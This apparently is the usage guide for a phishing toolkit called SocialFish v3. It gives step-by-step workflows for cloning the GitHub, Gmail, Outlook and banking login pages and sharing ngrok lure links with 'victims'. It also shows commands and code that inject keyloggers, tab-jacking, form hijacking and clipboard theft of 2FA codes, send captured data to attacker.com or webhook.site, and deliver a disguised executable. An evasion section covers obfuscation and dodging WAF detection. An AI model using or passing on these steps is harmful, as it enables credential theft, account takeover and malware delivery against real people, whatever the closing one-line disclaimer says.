cd /workspaces/SocialX
pip install -r requirements.txt
python3 setup.py # Interactive setup (installs browsers, ngrok, etc.)
./SocialFish.py admin mypasswordBrowser: http://localhost:5000
Login: admin / mypassword
- Go to Recording Studio tab
- Enter target URL:
https://github.com/login - Select Selenium recorder (real victim mode)
- Click Start Recording
- Browser opens → observe victim interaction for 5 minutes
- Save as template
- Go to Templates → select your clone
- Go to Attacks tab
- Click Multi-Vector → configure:
- Capture URL:
http://localhost:5000/capture/[auto] - Check: Keylogger, Tab Hijack, Form Intercept
- Capture URL:
- Click Generate
- Go to Lures → Generate URL with ngrok tunnel
- Share lure URL with victims
- Sessions Panel: See victim visits in real-time
- Webhook Data: Credential capture appears instantly
- Keystroke Logs: Watch victim typing
- Clipboard: See any copied 2FA codes
# Start Selenium recording (real victim mode)
python3 -c "
from core.recorder_selenium import SeleniumRecorder
r = SeleniumRecorder(browser='chrome', headless=False)
r.init_driver()
r.record_flow('https://github.com/login', wait_time=300)
r.save_session_to_db('lure_hash_1', '192.168.1.1', 'Mozilla/5.0...')
"
# Start Playwright recording (async)
python3 -c "
from core.recorder_playwright import PlaywrightRecorder
import asyncio
r = PlaywrightRecorder('./database.db', headless=False)
asyncio.run(r.record_flow('https://github.com/login'))
"# Tab jacking
python3 core/advanced_attacks.py tabjack https://attacker.com/capture
# Keylogger
python3 core/advanced_attacks.py keylogger --webhook https://webhook.site/abc
# File download
python3 core/advanced_attacks.py pdf https://attacker.com/update.exe --filename "Update.pdf"sqlite3 database.db ".mode column" ".headers on" "SELECT * FROM sessions;"1. Record gmail.com/login with Selenium
2. Save as "Gmail 2024"
3. Generate multi-vector attack (keylogger + form hijack + tab jacking)
4. Generate ngrok tunnel lure
5. Send: "Reset your password: https://abc123.ngrok.io/capture/xyz"
6. Monitor victim credentials + 2FA codes1. Record bank.example.com with Selenium
2. Use "sticky redirect" (stay on page after capture to show error)
3. Add file download injection (fake "security update")
4. Use clipboard stealer (get OTP from clipboard)
5. Monitor form fills + redirects1. Record outlook.office.com with Selenium
2. Record includes OAuth -> Microsoft -> back flow
3. Generate multi-vector attack
4. Add fake "password expired" message
5. Monitor 2FA codes + persistent session cookiesfrom core.advanced_attacks import AdvancedAttackInjector
# Custom redirect delay
payload = AdvancedAttackInjector.generate_tab_jacker(
"http://my.attacker.com/capture",
delay_ms=2000 # 2 second delay before redirect
)
# Custom webhook
payload = AdvancedAttackInjector.generate_keylogger(
"http://my.server.com/logs"
)from core.advanced_attacks import InjectionMethods
html_content = open('cloned_page.html').read()
# Inject multiple payloads
html = InjectionMethods.html_script_injection(html, payload_1)
html = InjectionMethods.html_script_injection(html, payload_2)
html = InjectionMethods.html_script_injection(html, payload_3)
open('modified_page.html', 'w').write(html)- Use ngrok (auto-tunneling through Cloudflare)
- Infrastructure appears legitimate
- No WAF alerts on suspicious IP
- Use WebSocket for callbacks (WebSocket traffic harder to analyze)
- Use legitimate webhook services (Webhook.site looks official)
- Inject payloads server-side (No suspicious script tags visible)
- Use base64 encoding for obfuscation
- Set random delays between actions (not instant)
- Use human-like typing speeds (not 0.1s per keystroke)
- Space out network requests (not all at once)
- Mimic real browser behavior (visit pages, wait, click)
python3 -m pip install --upgrade selenium webdriver-manager
python3 -c "from webdriver_manager.chrome import ChromeDriverManager; print(ChromeDriverManager().install())"playwright install chrome # or: firefox, webkit# Install ngrok
python3 core/tunnel_manager.py # Run setup wizard
# Or manually:
pip install pyngrok
ngrok config add-authtoken YOUR_TOKEN# Close all connections and remove lock file
rm database.db.lock
# Then restart SocialFish# Check Flask routes
curl http://localhost:5000/capture/xyz
# Verify database has template
sqlite3 database.db "SELECT id, base_url FROM templates LIMIT 5;"- Create new clone
- View saved clones
- Edit clone settings
- Delete old templates
- Export clone HTML
- Playwright recorder (async)
- Selenium recorder (real victim)
- Live browser preview
- Auto-save to template
- Tab Jacking generator
- Keylogger injector
- Form Hijacker setup
- File Download delivery
- Multi-Vector builder
- Real-time victim list
- Credentials captured
- Cookies display
- 2FA codes from clipboard
- Network logs view
- Export session data
- Configure endpoints
- Test webhook delivery
- View logs
- Filter by type
- Setup ngrok/cloudflared
- Generate tunnel URLs
- Monitor tunnel status
- View lure analytics
# Use Chrome with GPU acceleration (safer detection evasion)
options.add_argument('--disable-gpu-sandbox')
options.add_argument('--gpu-device-id=0')
# Disable unnecessary extensions
options.add_argument('--disable-extensions')
options.add_argument('--disable-sync')# Index frequently queried columns
sqlite3 database.db "CREATE INDEX idx_session_hash ON sessions(session_hash);"
sqlite3 database.db "CREATE INDEX idx_lure_hash ON lure_urls(lure_hash);"
# Vacuum database
sqlite3 database.db "VACUUM;"# Use asyncio for multiple Playwright recorders
import asyncio
tasks = [
recorder1.record_flow(url1),
recorder2.record_flow(url2),
recorder3.record_flow(url3)
]
results = asyncio.run(asyncio.gather(*tasks))- PRODUCTION_BUILD_COMPLETE.md - Full feature list
- ADVANCED_ATTACKS_GUIDE.md - Attack detailed guide
- FEATURES_v3.md - Feature overview
- IMPLEMENTATION_SUMMARY.md - Technical arch
core/recorder_selenium.py- Selenium automationcore/advanced_attacks.py- Attack payloadsSocialFish.py- Flask routescore/db_migration.py- Database schema
- ngrok - Public URL tunneling
- Webhook.site - Test webhooks
- RequestBin - Log HTTP requests
- Burp Suite - Debug clones
For issues or questions:
- Check PRODUCTION_BUILD_COMPLETE.md
- Review ADVANCED_ATTACKS_GUIDE.md
- Check Flask logs:
tail -f /tmp/flask.log - Check Selenium logs:
sqlite3 database.db "SELECT * FROM analyzer_logs;"
Remember: Only use this tool for authorized security testing with explicit permission.
Version: SocialFish v3.0.0
Status: Production Ready ✅
Updated: January 2024